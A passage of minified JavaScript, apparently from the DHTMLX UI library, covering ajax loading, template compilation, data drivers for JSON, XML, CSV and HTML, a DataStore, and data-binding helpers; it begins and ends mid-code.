\"+a,\"g\"),\"\")}};dhx.ready=function(a){if(this._ready){a.call()}else{this._ready_code.push(a)}};dhx._ready_code=[];(function(){var a=document.getElementsByTagName(\"SCRIPT\");dhx.assert(a.length,\"Can't locate codebase\");if(a.length){a=(a[a.length-1].getAttribute(\"src\")||\"\").split(\"/\");a.splice(a.length-1,1);dhx.codebase=a.slice(0,a.length).join(\"/\")+\"/\"}dhx.event(window,\"load\",function(){dhx4.callEvent(\"onReady\",[]);dhx.delay(function(){dhx._ready=true;for(var c=0;c<dhx._ready_code.length;c++){dhx._ready_code[c].call()}dhx._ready_code=[]})})})();dhx.locale=dhx.locale||{};dhx.assert_core_ready();dhx.ready(function(){dhx.event(document.body,\"click\",function(a){dhx4.callEvent(\"onClick\",[a||event])})});(function(){var e={};var c=new RegExp(\"(\\\\r\\\\n|\\\\n)\",\"g\");var a=new RegExp('(\\\\\")',\"g\");dhx.Template=function(h){if(typeof h==\"function\"){return h}if(e[h]){return e[h]}h=(h||\"\").toString();if(h.indexOf(\"->\")!=-1){h=h.split(\"->\");switch(h[0]){case\"html\":h=dhx.html.getValue(h[1]);break;case\"http\":h=new dhx.ajax().sync().get(h[1],{uid:dhx.uid()}).responseText;break;default:break}}h=(h||\"\").toString();h=h.replace(c,\"\\\\n\");h=h.replace(a,'\\\\\"');h=h.replace(/\\{obj\\.([^}?]+)\\?([^:]*):([^}]*)\\}/g,'\"+(obj.$1?\"$2\":\"$3\")+\"');h=h.replace(/\\{common\\.([^}\\(]*)\\}/g,\"\\\"+(common.$1||'')+\\\"\");h=h.replace(/\\{common\\.([^\\}\\(]*)\\(\\)\\}/g,'\"+(common.$1?common.$1.apply(this, arguments):\"\")+\"');h=h.replace(/\\{obj\\.([^}]*)\\}/g,'\"+(obj.$1)+\"');h=h.replace(\"{obj}\",'\"+obj+\"');h=h.replace(/#([^#'\";, ]+)#/gi,'\"+(obj.$1)+\"');try{e[h]=Function(\"obj\",\"common\",'return \"'+h+'\";')}catch(g){dhx.assert_error(\"Invalid template:\"+h)}return e[h]};dhx.Template.empty=function(){return\"\"};dhx.Template.bind=function(g){return dhx.bind(dhx.Template(g),this)};dhx.Type=function(n,m){if(n._dhx_proto_wait){if(!n._dhx_type_wait){n._dhx_type_wait=[]}n._dhx_type_wait.push(m);return}if(typeof n==\"function\"){n=n.prototype}if(!n.types){n.types={\"default\":n.type};n.type.name=\"default\"}var g=m.name;var l=n.type;if(g){l=n.types[g]=dhx.clone(m.baseType?n.types[m.baseType]:n.type)}for(var h in m){if(h.indexOf(\"template\")===0){l[h]=dhx.Template(m[h])}else{l[h]=m[h]}}return g}})();dhx.Settings={$init:function(){this._settings=this.config={}},define:function(c,a){if(typeof c==\"object\"){return this._parseSeetingColl(c)}return this._define(c,a)},_define:function(c,a){var e=this[c+\"_setter\"];return this._settings[c]=e?e.call(this,a,c):a},_parseSeetingColl:function(e){if(e){for(var c in e){this._define(c,e[c])}}},_parseSettings:function(e,a){var c={};if(a){c=dhx.extend(c,a)}if(typeof e==\"object\"&&!e.tagName){dhx.extend(c,e,true)}this._parseSeetingColl(c)},_mergeSettings:function(a,e){for(var c in e){switch(typeof a[c]){case\"object\":a[c]=this._mergeSettings((a[c]||{}),e[c]);break;case\"undefined\":a[c]=e[c];break;default:break}}return a},debug_freid_c_id:true,debug_freid_a_name:true};dhx.ajax=function(a,c,e){if(arguments.length!==0){var g=new dhx.ajax();if(e){g.master=e}return g.get(a,null,c)}if(!this.getXHR){return new dhx.ajax()}return this};dhx.ajax.count=0;dhx.ajax.prototype={master:null,getXHR:function(){if(dhx.env.isIE){return new ActiveXObject(\"Microsoft.xmlHTTP\")}else{return new XMLHttpRequest()}},send:function(h,o,m){var c=this.getXHR();if(!dhx.isArray(m)){m=[m]}if(typeof o==\"object\"){var l=[];for(var e in o){var n=o[e];if(n===null||n===dhx.undefined){n=\"\"}l.push(e+\"=\"+encodeURIComponent(n))}o=l.join(\"&\")}if(o&&this.request===\"GET\"){h=h+(h.indexOf(\"?\")!=-1?\"&\":\"?\")+o;o=null}c.open(this.request,h,!this._sync);if(this.request===\"POST\"){c.setRequestHeader(\"Content-type\",\"application/x-www-form-urlencoded\")}var g=this;c.onreadystatechange=function(){if(!c.readyState||c.readyState==4){if(dhx.debug_time){dhx.log_full_time(\"data_loading\")}dhx.ajax.count++;if(m&&g){for(var a=0;a<m.length;a++){if(m[a]){var q=(m[a].success||m[a]);if(c.status>=400||(!c.status&&!c.responseText)){q=m[a].error}if(q){q.call((g.master||g),c.responseText,c.responseXML,c)}}}}if(g){g.master=null}m=g=null}};c.send(o||null);return c},get:function(a,e,c){if(arguments.length==2){c=e;e=null}this.request=\"GET\";return this.send(a,e,c)},post:function(a,e,c){this.request=\"POST\";return this.send(a,e,c)},put:function(a,e,c){this.request=\"PUT\";return this.send(a,e,c)},del:function(a,e,c){this.request=\"DELETE\";return this.send(a,e,c)},sync:function(){this._sync=true;return this},bind:function(a){this.master=a;return this}};dhx.send=function(e,c,m,l){var g=dhx.html.create(\"FORM\",{target:(l||\"_self\"),action:e,method:(m||\"POST\")},\"\");for(var a in c){var h=dhx.html.create(\"INPUT\",{type:\"hidden\",name:a,value:c[a]},\"\");g.appendChild(h)}g.style.display=\"none\";document.body.appendChild(g);g.submit();document.body.removeChild(g)};dhx.AtomDataLoader={$init:function(a){this.data={};if(a){this._settings.datatype=a.datatype||\"json\";this.$ready.push(this._load_when_ready)}},_load_when_ready:function(){this._ready_for_data=true;if(this._settings.url){this.url_setter(this._settings.url)}if(this._settings.data){this.data_setter(this._settings.data)}},url_setter:function(a){if(!this._ready_for_data){return a}this.load(a,this._settings.datatype);return a},data_setter:function(a){if(!this._ready_for_data){return a}this.parse(a,this._settings.datatype);return true},debug_freid_c_datatype:true,debug_freid_c_dataFeed:true,load:function(a,c){if(a.$proxy){a.load(this,typeof c==\"string\"?c:\"json\");return}this.callEvent(\"onXLS\",[]);if(typeof c==\"string\"){this.data.driver=dhx.DataDriver[c];c=arguments[2]}else{if(!this.data.driver){this.data.driver=dhx.DataDriver.json}}var e=[{success:this._onLoad,error:this._onLoadError}];if(c){if(dhx.isArray(c)){e.push.apply(e,c)}else{e.push(c)}}return dhx.ajax(a,e,this)},parse:function(c,a){this.callEvent(\"onXLS\",[]);this.data.driver=dhx.DataDriver[a||\"json\"];this._onLoad(c,null)},_onLoad:function(m,c,a,e){var h=this.data.driver;var g=h.toObject(m,c);if(g){var l=h.getRecords(g)[0];this.data=(h?h.getDetails(l):m)}else{this._onLoadError(m,c,a)}this.callEvent(\"onXLE\",[])},_onLoadError:function(e,a,c){this.callEvent(\"onXLE\",[]);this.callEvent(\"onLoadError\",arguments);dhx4.callEvent(\"onLoadError\",[e,a,c,this])},_check_data_feed:function(c){if(!this._settings.dataFeed||this._ignore_feed||!c){return true}var a=this._settings.dataFeed;if(typeof a==\"function\"){return a.call(this,(c.id||c),c)}a=a+(a.indexOf(\"?\")==-1?\"?\":\"&\")+\"action=get&id=\"+encodeURIComponent(c.id||c);this.callEvent(\"onXLS\",[]);dhx.ajax(a,function(l,g,e){this._ignore_feed=true;var h=dhx.DataDriver.toObject(l,g);if(h){this.setValues(h.getDetails(h.getRecords()[0]))}else{this._onLoadError(l,g,e)}this._ignore_feed=false;this.callEvent(\"onXLE\",[])},this);return false}};dhx.DataDriver={};dhx.DataDriver.json={toObject:function(data){if(!data){data=\"[]\"}if(typeof data==\"string\"){try{eval(\"dhx.temp=\"+data)}catch(e){dhx.assert_error(e);return null}data=dhx.temp}if(data.data){var t=data.data.config={};for(var key in data){if(key!=\"data\"){t[key]=data[key]}}data=data.data}return data},getRecords:function(a){if(a&&!dhx.isArray(a)){return[a]}return a},getDetails:function(a){if(typeof a==\"string\"){return{id:dhx.uid(),value:a}}return a},getInfo:function(c){var a=c.config;if(!a){return{}}return{_size:(a.total_count||0),_from:(a.pos||0),_parent:(a.parent||0),_config:(a.config),_key:(a.dhx_security)}},child:\"data\"};dhx.DataDriver.html={toObject:function(c){if(typeof c==\"string\"){var a=null;if(c.indexOf(\"<\")==-1){a=dhx.toNode(c)}if(!a){a=document.createElement(\"DIV\");a.innerHTML=c}return a.getElementsByTagName(this.tag)}return c},getRecords:function(c){var e=[];for(var a=0;a<c.childNodes.length;a++){var g=c.childNodes[a];if(g.nodeType==1){e.push(g)}}return e},getDetails:function(a){return dhx.DataDriver.xml.tagToObject(a)},getInfo:function(a){return{_size:0,_from:0}},tag:\"LI\"};dhx.DataDriver.jsarray={toObject:function(data){if(typeof data==\"string\"){eval(\"dhx.temp=\"+data);return dhx.temp}return data},getRecords:function(a){return a},getDetails:function(e){var a={};for(var c=0;c<e.length;c++){a[\"data\"+c]=e[c]}return a},getInfo:function(a){return{_size:0,_from:0}}};dhx.DataDriver.csv={toObject:function(a){return a},getRecords:function(a){return a.split(this.row)},getDetails:function(e){e=this.stringToArray(e);var a={};for(var c=0;c<e.length;c++){a[\"data\"+c]=e[c]}return a},getInfo:function(a){return{_size:0,_from:0}},stringToArray:function(c){c=c.split(this.cell);for(var a=0;a<c.length;a++){c[a]=c[a].replace(/^[ \\t\\n\\r]*(\\\"|)/g,\"\").replace(/(\\\"|)[ \\t\\n\\r]*$/g,\"\")}return c},row:\"\\n\",cell:\",\"};dhx.DataDriver.xml={_isValidXML:function(a){if(!a||!a.documentElement){return null}if(a.getElementsByTagName(\"parsererror\").length){return null}return a},toObject:function(e,a){if(this._isValidXML(c)){return c}if(typeof e==\"string\"){var c=this.fromString(e.replace(/^[\\s]+/,\"\"))}else{c=e}if(this._isValidXML(c)){return c}return null},getRecords:function(a){return this.xpath(a,this.records)},records:\"/*/item\",child:\"item\",config:\"/*/config\",getDetails:function(a){return this.tagToObject(a,{})},getInfo:function(c){var a=this.xpath(c,this.config);if(a.length){a=this.assignTypes(this.tagToObject(a[0],{}))}else{a=null}return{_size:(c.documentElement.getAttribute(\"total_count\")||0),_from:(c.documentElement.getAttribute(\"pos\")||0),_parent:(c.documentElement.getAttribute(\"parent\")||0),_config:a,_key:(c.documentElement.getAttribute(\"dhx_security\")||null)}},xpath:function(h,q){if(window.XPathResult){var g=h;if(h.nodeName.indexOf(\"document\")==-1){h=h.ownerDocument}var n=[];var c=h.evaluate(q,g,null,XPathResult.ANY_TYPE,null);var o=c.iterateNext();while(o){n.push(o);o=c.iterateNext()}return n}else{var m=true;try{if(typeof(h.selectNodes)==\"undefined\"){m=false}}catch(l){}if(m){return h.selectNodes(q)}else{var a=q.split(\"/\").pop();return h.getElementsByTagName(a)}}},assignTypes:function(c){for(var a in c){var e=c[a];if(typeof e==\"object\"){this.assignTypes(e)}else{if(typeof e==\"string\"){if(e===\"\"){continue}if(e==\"true\"){c[a]=true}else{if(e==\"false\"){c[a]=false}else{if(e==e*1){c[a]=c[a]*1}}}}}}return c},tagToObject:function(e,o){o=o||{};var h=false;var g=e.attributes;if(g&&g.length){for(var m=0;m<g.length;m++){o[g[m].name]=g[m].value}h=true}var c=e.childNodes;var n={};for(var m=0;m<c.length;m++){if(c[m].nodeType==1){var l=c[m].tagName;if(typeof o[l]!=\"undefined\"){if(!dhx.isArray(o[l])){o[l]=[o[l]]}o[l].push(this.tagToObject(c[m],{}))}else{o[c[m].tagName]=this.tagToObject(c[m],{})}h=true}}if(!h){return this.nodeValue(e)}o.value=o.value||this.nodeValue(e);return o},nodeValue:function(a){if(a.firstChild){return a.firstChild.data}return\"\"},fromString:function(g){try{if(window.DOMParser){return(new DOMParser()).parseFromString(g,\"text/xml\")}if(window.ActiveXObject){var a=new ActiveXObject(\"Microsoft.xmlDOM\");a.loadXML(g);return a}}catch(c){dhx.assert_error(c);return null}dhx.assert_error(\"Load from xml string is not supported\")}};dhx.DataLoader=dhx.proto({$init:function(a){a=a||\"\";this._ajax_queue=dhx.toArray();this.data=new dhx.DataStore();this.data.attachEvent(\"onClearAll\",dhx.bind(this._call_onclearall,this));this.data.attachEvent(\"onServerConfig\",dhx.bind(this._call_on_config,this));this.data.feed=this._feed},_feed:function(e,a,c){if(this._load_count){return this._load_count=[e,a,c]}else{this._load_count=true}this._feed_last=[e,a];this._feed_common.call(this,e,a,c)},_feed_common:function(g,c,e){var a=this.data.url;if(g<0){g=0}this.load(a+((a.indexOf(\"?\")==-1)?\"?\":\"&\")+(this.dataCount()?(\"continue=true&\"):\"\")+\"start=\"+g+\"&count=\"+c,[this._feed_callback,e])},_feed_callback:function(){var a=this._load_count;var c=this._feed_last;this._load_count=false;if(typeof a==\"object\"&&(a[0]!=c[0]||a[1]!=c[1])){this.data.feed.apply(this,a)}},load:function(a,c){var e=dhx.AtomDataLoader.load.apply(this,arguments);this._ajax_queue.push(e);if(!this.data.url){this.data.url=a}},loadNext:function(e,h,g,c,a){if(this._settings.datathrottle&&!a){if(this._throttle_request){window.clearTimeout(this._throttle_request)}this._throttle_request=dhx.delay(function(){this.loadNext(e,h,g,c,true)},this,0,this._settings.datathrottle);return}if(!h&&h!==0){h=this.dataCount()}this.data.url=this.data.url||c;if(this.callEvent(\"onDataRequest\",[h,e,g,c])&&this.data.url){this.data.feed.call(this,h,e,g)}},_maybe_loading_already:function(c,e){var a=this._feed_last;if(this._load_count&&a){if(a[0]<=e&&(a[1]+a[0]>=c+e)){return true}}return false},_onLoad:function(g,c,a){this._ajax_queue.remove(a);var e=this.data.driver.toObject(g,c);if(e){this.data._parse(e)}else{return this._onLoadError(g,c,a)}this._call_onready();this.callEvent(\"onXLE\",[])},removeMissed_setter:function(a){return this.data._removeMissed=a},scheme_setter:function(a){this.data.scheme(a)},dataFeed_setter:function(a){this.data.attachEvent(\"onBeforeFilter\",dhx.bind(function(m,l){if(this._settings.dataFeed){var h={};if(!m&&!l){return}if(typeof m==\"function\"){if(!l){return}m(l,h)}else{h={text:l}}this.clearAll();var c=this._settings.dataFeed;var g=[];if(typeof c==\"function\"){return c.call(this,l,h)}for(var e in h){g.push(\"dhx_filter[\"+e+\"]=\"+encodeURIComponent(h[e]))}this.load(c+(c.indexOf(\"?\")<0?\"?\":\"&\")+g.join(\"&\"),this._settings.datatype);return false}},this));return a},debug_freid_c_ready:true,debug_freid_c_datathrottle:true,_call_onready:function(){if(this._settings.ready&&!this._ready_was_used){var a=dhx.toFunctor(this._settings.ready);if(a){dhx.delay(a,this,arguments)}this._ready_was_used=true}},_call_onclearall:function(){for(var a=0;a<this._ajax_queue.length;a++){this._ajax_queue[a].abort()}this._ajax_queue=dhx.toArray()},_call_on_config:function(a){this._parseSeetingColl(a)}},dhx.AtomDataLoader);dhx.DataStore=function(){this.name=\"DataStore\";dhx.extend(this,dhx.EventSystem);this.setDriver(\"json\");this.pull={};this.order=dhx.toArray();this._marks={}};dhx.DataStore.prototype={setDriver:function(a){dhx.assert(dhx.DataDriver[a],\"incorrect DataDriver\");this.driver=dhx.DataDriver[a]},_parse:function(e,a){this.callEvent(\"onParse\",[this.driver,e]);if(this._filter_order){this.filter()}var g=this.driver.getInfo(e);if(g._key){dhx.securityKey=g._key}if(g._config){this.callEvent(\"onServerConfig\",[g._config])}var c=this.driver.getRecords(e);this._inner_parse(g,c);if(this._scheme_group&&this._group_processing){this._group_processing(this._scheme_group)}if(this._scheme_sort){this.blockEvent();this.sort(this._scheme_sort);this.unblockEvent()}this.callEvent(\"onStoreLoad\",[this.driver,e]);this.refresh()},_inner_parse:function(c,m){var o=(c._from||0)*1;var l=true;var n=false;if(o===0&&this.order[0]){if(this._removeMissed){n={};for(var g=0;g<this.order.length;g++){n[this.order[g]]=true}}l=false;o=this.order.length}var e=0;for(var g=0;g<m.length;g++){var q=this.driver.getDetails(m[g]);var a=this.id(q);if(!this.pull[a]){this.order[e+o]=a;e++}else{if(l&&this.order[e+o]){e++}}if(this.pull[a]){dhx.extend(this.pull[a],q,true);if(this._scheme_update){this._scheme_update(this.pull[a])}if(n){delete n[a]}}else{this.pull[a]=q;if(this._scheme_init){this._scheme_init(q)}}}if(n){this.blockEvent();for(var h in n){this.remove(h)}this.unblockEvent()}if(!this.order[c._size-1]){this.order[c._size-1]=dhx.undefined}},id:function(a){return a.id||(a.id=dhx.uid())},changeId:function(c,a){if(this.pull[c]){this.pull[a]=this.pull[c]}this.pull[a].id=a;this.order[this.order.find(c)]=a;if(this._filter_order){this._filter_order[this._filter_order.find(c)]=a}if(this._marks[c]){this._marks[a]=this._marks[c];delete this._marks[c]}this.callEvent(\"onIdChange\",[c,a]);if(this._render_change_id){this._render_change_id(c,a)}delete this.pull[c]},item:function(a){return this.pull[a]},update:function(c,a){if(dhx.isUndefined(a)){a=this.item(c)}if(this._scheme_update){this._scheme_update(a)}if(this.callEvent(\"onBeforeUpdate\",[c,a])===false){return false}this.pull[c]=a;this.callEvent(\"onStoreUpdated\",[c,a,\"update\"])},refresh:function(a){if(this._skip_refresh){return}if(a){this.callEvent(\"onStoreUpdated\",[a,this.pull[a],\"paint\"])}else{this.callEvent(\"onStoreUpdated\",[null,null,null])}},silent:function(c,a){this._skip_refresh=true;c.call(a||this);this._skip_refresh=false},getRange:function(g,e){if(g){g=this.indexById(g)}else{g=(this.$min||this.startOffset)||0}if(e){e=this.indexById(e)}else{e=Math.min(((this.$max||this.endOffset)||Infinity),(this.dataCount()-1));if(e<0){e=0}}if(g>e){var c=e;e=g;g=c}return this.getIndexRange(g,e)},getIndexRange:function(g,e){e=Math.min((e||Infinity),this.dataCount()-1);var a=dhx.toArray();for(var c=(g||0);c<=e;c++){a.push(this.item(this.order[c]))}return a},dataCount:function(){return this.order.length},exists:function(a){return !!(this.pull[a])},move:function(a,g){dhx.assert(a>=0&&g>=0,\"DataStore::move\",\"Incorrect indexes\");var e=this.idByIndex(a);var c=this.item(e);this.order.removeAt(a);this.order.insertAt(e,Math.min(this.order.length,g));this.callEvent(\"onStoreUpdated\",[e,c,\"move\"])},scheme:function(a){this._scheme={};this._scheme_init=a.$init;this._scheme_update=a.$update;this._scheme_serialize=a.$serialize;this._scheme_group=a.$group;this._scheme_sort=a.$sort;for(var c in a){if(c.substr(0,1)!=\"$\"){this._scheme[c]=a[c]}}},sync:function(g,e,a){if(typeof g==\"string\"){g=$$(\"source\")}if(typeof e!=\"function\"){a=e;e=null}if(dhx.debug_bind){this.debug_sync_master=g;dhx.log(\"[sync] \"+this.debug_bind_master.name+\"@\"+this.debug_bind_master._settings.id+\" <= \"+this.debug_sync_master.name+\"@\"+this.debug_sync_master._settings.id)}this._backbone_source=false;if(g.name!=\"DataStore\"){if(g.data&&g.data.name==\"DataStore\"){g=g.data}else{this._backbone_source=true}}var c=dhx.bind(function(n,h,m){if(this._backbone_source){if(!n){return}if(n.indexOf(\"change\")===0){if(n==\"change\"){this.pull[h.id]=h.attributes;this.refresh(h.id);return}else{return}}if(n==\"reset\"){m=h}this.order=[];this.pull={};this._filter_order=null;for(var l=0;l<m.models.length;l++){var o=m.models[l].id;this.order.push(o);this.pull[o]=m.models[l].attributes}}else{this._filter_order=null;this.order=dhx.toArray([].concat(g.order));this.pull=g.pull}if(e){this.silent(e)}if(this._on_sync){this._on_sync()}if(dhx.debug_bind){dhx.log(\"[sync:request] \"+this.debug_sync_master.name+\"@\"+this.debug_sync_master._settings.id+\" <= \"+this.debug_bind_master.name+\"@\"+this.debug_bind_master._settings.id)}this.callEvent(\"onSyncApply\",[]);if(!a){this.refresh()}else{a=false}},this);if(this._backbone_source){g.bind(\"all\",c)}else{this._sync_events=[g.attachEvent(\"onStoreUpdated\",c),g.attachEvent(\"onIdChange\",dhx.bind(function(h,l){this.changeId(h,l)},this))]}c()},add:function(l,c){if(this._scheme){for(var e in this._scheme){if(dhx.isUndefined(l[e])){l[e]=this._scheme[e]}}}if(this._scheme_init){this._scheme_init(l)}var m=this.id(l);var a=arguments[2]||this.order;var h=a.length;if(dhx.isUndefined(c)||c<0){c=h}if(c>h){dhx.log(\"Warning\",\"DataStore:add\",\"Index of out of bounds\");c=Math.min(a.length,c)}if(this.callEvent(\"onBeforeAdd\",[m,l,c])===false){return false}dhx.assert(!this.exists(m),\"Not unique ID\");this.pull[m]=l;a.insertAt(m,c);if(this._filter_order){var g=this._filter_order.length;if(!c&&this.order.length){g=0}this._filter_order.insertAt(m,g)}this.callEvent(\"onAfterAdd\",[m,c]);this.callEvent(\"onStoreUpdated\",[m,l,\"add\"]);return m},remove:function(e){if(dhx.isArray(e)){for(var a=0;a<e.length;a++){this.remove(e[a])}return}if(this.callEvent(\"onBeforeDelete\",[e])===false){return false}dhx.assert(this.exists(e),\"Not existing ID in remove command\"+e);var c=this.item(e);this.order.remove(e);if(this._filter_order){this._filter_order.remove(e)}delete this.pull[e];if(this._marks[e]){delete this._marks[e]}this.callEvent(\"onAfterDelete\",[e]);this.callEvent(\"onStoreUpdated\",[e,c,\"delete\"])},clearAll:function(){this.pull={};this.order=dhx.toArray();this._filter_order=this.url=null;this.callEvent(\"onClearAll\",[]);this.refresh()},idByIndex:function(a){if(a>=this.order.length||a<0){dhx.log(\"Warning\",\"DataStore::idByIndex Incorrect index\")}return this.order[a]},indexById:function(c){var a=this.order.find(c);if(!this.pull[c]){dhx.log(\"Warning\",\"DataStore::indexById Non-existing ID: \"+c)}return a},next:function(c,a){return this.order[this.indexById(c)+(a||1)]},first:function(){return this.order[0]},last:function(){return this.order[this.order.length-1]},previous:function(c,a){return this.order[this.indexById(c)-(a||1)]},sort:function(h,c,a){var e=h;if(typeof h==\"function\"){e={as:h,dir:c}}else{if(typeof h==\"string\"){e={by:h.replace(/#/g,\"\"),dir:c,as:a}}}var g=[e.by,e.dir,e.as];if(!this.callEvent(\"onBeforeSort\",g)){return}this._sort_core(e);this.refresh();this.callEvent(\"onAfterSort\",g)},_sort_core:function(a){if(this.order.length){var e=this._sort._create(a);var c=this.getRange(this.first(),this.last());c.sort(e);this.order=c.map(function(g){dhx.assert(g,\"Client sorting can't be used with dynamic loading\");return this.id(g)},this)}},_filter_reset:function(a){if(this._filter_order&&!a){this.order=this._filter_order;delete this._filter_order}},_filter_core:function(e,h,c){var g=dhx.toArray();for(var a=0;a<this.order.length;a++){var l=this.order[a];if(e(this.item(l),h)){g.push(l)}}if(!c||!this._filter_order){this._filter_order=this.order}this.order=g},filter:function(g,e,a){if(!this.callEvent(\"onBeforeFilter\",[g,e])){return}this._filter_reset(a);if(!this.order.length){return}if(g){var c=g;e=e||\"\";if(typeof g==\"string\"){g=g.replace(/#/g,\"\");if(typeof e==\"function\"){c=function(h){return e(h[g])}}else{e=e.toString().toLowerCase();c=function(l,h){dhx.assert(l,\"Client side filtering can't be used with dynamic loading\");return(l[g]||\"\").toString().toLowerCase().indexOf(h)!=-1}}}this._filter_core(c,e,a,this._filterMode)}this.refresh();this.callEvent(\"onAfterFilter\",[])},each:function(e,c){for(var a=0;a<this.order.length;a++){e.call((c||this),this.item(this.order[a]))}},_methodPush:function(a,c){return function(){return a[c].apply(a,arguments)}},addMark:function(h,g,a,c){var e=this._marks[h]||{};this._marks[h]=e;if(!e[g]){e[g]=c||true;if(a){this.item(h).$css=(this.item(h).$css||\"\")+\" \"+g;this.refresh(h)}}return e[g]},removeMark:function(h,g,a){var e=this._marks[h];if(e&&e[g]){delete e[g]}if(a){var c=this.item(h).$css;if(c){this.item(h).$css=c.replace(g,\"\");this.refresh(h)}}},hasMark:function(e,c){var a=this._marks[e];return(a&&a[c])},provideApi:function(g,c){this.debug_bind_master=g;if(c){this.mapEvent({onbeforesort:g,onaftersort:g,onbeforeadd:g,onafteradd:g,onbeforedelete:g,onafterdelete:g,onbeforeupdate:g})}var e=[\"sort\",\"add\",\"remove\",\"exists\",\"idByIndex\",\"indexById\",\"item\",\"update\",\"refresh\",\"dataCount\",\"filter\",\"next\",\"previous\",\"clearAll\",\"first\",\"last\",\"serialize\",\"sync\",\"addMark\",\"removeMark\",\"hasMark\"];for(var a=0;a<e.length;a++){g[e[a]]=this._methodPush(this,e[a])}},serialize:function(){var g=this.order;var a=[];for(var c=0;c<g.length;c++){var e=this.pull[g[c]];if(this._scheme_serialize){e=this._scheme_serialize(e);if(e===false){continue}}a.push(e)}return a},_sort:{_create:function(a){return this._dir(a.dir,this._by(a.by,a.as))},_as:{date:function(e,c){e=e-0;c=c-0;return e>c?1:(e<c?-1:0)},\"int\":function(e,c){e=e*1;c=c*1;return e>c?1:(e<c?-1:0)},string_strict:function(e,c){e=e.toString();c=c.toString();return e>c?1:(e<c?-1:0)},string:function(e,c){if(!c){return 1}if(!e){return -1}e=e.toString().toLowerCase();c=c.toString().toLowerCase();return e>c?1:(e<c?-1:0)}},_by:function(c,a){if(!c){return a}if(typeof a!=\"function\"){a=this._as[a||\"string\"]}dhx.assert(a,\"Invalid sorting method\");return function(g,e){return a(g[c],e[c])}},_dir:function(c,a){if(c==\"asc\"||!c){return a}return function(g,e){return a(g,e)*-1}}}};dhx.BaseBind={debug_freid_ignore:{id:true},bind:function(h,g,e){if(typeof h==\"string\"){h=dhx.ui.get(h)}if(h._initBindSource){h._initBindSource()}if(this._initBindSource){this._initBindSource()}if(!h.getBindData){dhx.extend(h,dhx.BindSource)}if(!this._bind_ready){var l=this.render;if(this.filter){var c=this._settings.id;this.data._on_sync=function(){h._bind_updated[c]=false}}this.render=function(){if(this._in_bind_processing){return}this._in_bind_processing=true;var m=this.callEvent(\"onBindRequest\");this._in_bind_processing=false;return l.apply(this,((m===false)?arguments:[]))};if(this.getValue||this.getValues){this.save=function(){if(this.validate&&!this.validate()){return}h.setBindData((this.getValue?this.getValue:this.getValues()),this._settings.id)}}this._bind_ready=true}h.addBind(this._settings.id,g,e);if(dhx.debug_bind){dhx.log(\"[bind] \"+this.name+\"@\"+this._settings.id+\" <= \"+h.name+\"@\"+h._settings.id)}var a=this._settings.id;this.attachEvent(this.touchable?\"onAfterRender\":\"onBindRequest\",function(){return h.getBindData(a)});if(!this._settings.dataFeed&&this.loadNext){this.data.attachEvent(\"onStoreLoad\",function(){h._bind_updated[a]=false})}if(this.isVisible(this._settings.id)){this.refresh()}},unbind:function(a){return this._unbind(a)},_unbind:function(e){e.removeBind(this._settings.id);var c=(this._sync_events||(this.data?this.data._sync_events:0));if(c&&e.data){for(var a=0;a<c.length;a++){e.data.detachEvent(c[a])}}}};dhx.BindSource={$init:function(){this._bind_hash={};this._bind_updated={};this._ignore_binds={};this._bind_specific_rules(this)},saveBatch:function(a){this._do_not_update_binds=true;a.call(this);this._do_not_update_binds=false;this._update_binds()},setBindData:function(c,a){if(a){this._ignore_binds[a]=true}if(dhx.debug_bind){dhx.log(\"[bind:save] \"+this.name+\"@\"+this._settings.id+\" <= @\"+a)}if(this.setValue){this.setValue(c)}else{if(this.setValues){this.setValues(c)}else{var e=this.getCursor();if(e){c=dhx.extend(this.item(e),c,true);this.update(e,c)}}}this.callEvent(\"onBindUpdate\",[c,a]);if(this.save){this.save()}if(a){this._ignore_binds[a]=false}},getBindData:function(a,e){if(this._bind_updated[a]){return false}var c=dhx.ui.get(a);if(c.isVisible(c._settings.id)){this._bind_updated[a]=true;if(dhx.debug_bind){dhx.log(\"[bind:request] \"+this.name+\"@\"+this._settings.id+\" => \"+c.name+\"@\"+c._settings.id)}this._bind_update(c,this._bind_hash[a][0],this._bind_hash[a][1]);if(e&&c.filter){c.refresh()}}},addBind:function(a,e,c){this._bind_hash[a]=[e,c]},removeBind:function(a){delete this._bind_hash[a];delete this._bind_updated[a];delete this._ignore_binds[a]},_bind_specific_rules:function(a){if(a.filter){dhx.extend(this,dhx.CollectionBind)}else{if(a.setValue){dhx.extend(this,dhx.ValueBind)}else{dhx.extend(this,dhx.RecordBind)}}},_update_binds:function(){if(!this._do_not_update_binds){for(var a in this._bind_hash){if(this._ignore_binds[a]){continue}this._bind_updated[a]=false;this.getBindData(a,true)}}},_bind_update_common:function(e,c,a){if(e.setValue){e.setValue(a?a[c]:a)}else{if(!e.filter){if(!a&&e.clear){e.clear()}else{if(e._check_data_feed(a)){e.setValues(dhx.clone(a))}}}else{e.data.silent(function(){this.filter(c,a)})}}e.callEvent(\"onBindApply\",[a,c,this])}};dhx.DataValue=dhx.proto({name:\"DataValue\",isVisible:function(){return true},$init:function(a){this.data=\"\"||a;var c=(a&&a.id)?a.id:dhx.uid();this._settings={id:c};dhx.ui.views[c]=this},setValue:function(a){this.data=a;this.callEvent(\"onChange\",[a])},getValue:function(){return this.data},refresh:function(){this.callEvent(\"onBindRequest\")}},dhx.EventSystem,dhx.BaseBind);dhx.DataRecord=dhx.proto({name:\"DataRecord\",isVisible:function(){return true},$init:function(a){this.data=a||{};var c=(a&&a.id)?a.id:dhx.uid();this._settings={id:c};dhx.ui.views[c]=this},getValues:function(){return this.data},setValues:function(a){this.data=a;this.callEvent(\"onChange\",[a])},refresh:function(){this.callEvent(\"onBindRequest\")}},dhx.EventSystem,dhx.BaseBind,dhx.AtomDataLoader,dhx.Settings);dhx.DataCollection=dhx.proto({name:\"DataCollection\",isVisible:function(){if(!this.data.order.length&&!this.data._filter_order&&!this._settings.dataFeed){return false}return true},$init:function(a){this.data.provideApi(this,true);var c=(a&&a.id)?a.id:dhx.uid();this._settings.id=c;dhx.ui.views[c]=this;this.data.attachEvent(\"onStoreLoad\",dhx.bind(function(){this.callEvent(\"onBindRequest\",[])},this))},refresh:function(){this.callEvent(\"onBindRequest\",[])}},dhx.DataLoader,dhx.EventSystem,dhx.BaseBind,dhx.Settings);dhx.ValueBind={$init:function(){this.attachEvent(\"onChange\",this._update_binds)},_bind_update:function(h,g,e){var c=this.getValue()||\"\";if(e){c=e(c)}if(h.setValue){h.setValue(c)}else{if(!h.filter){var 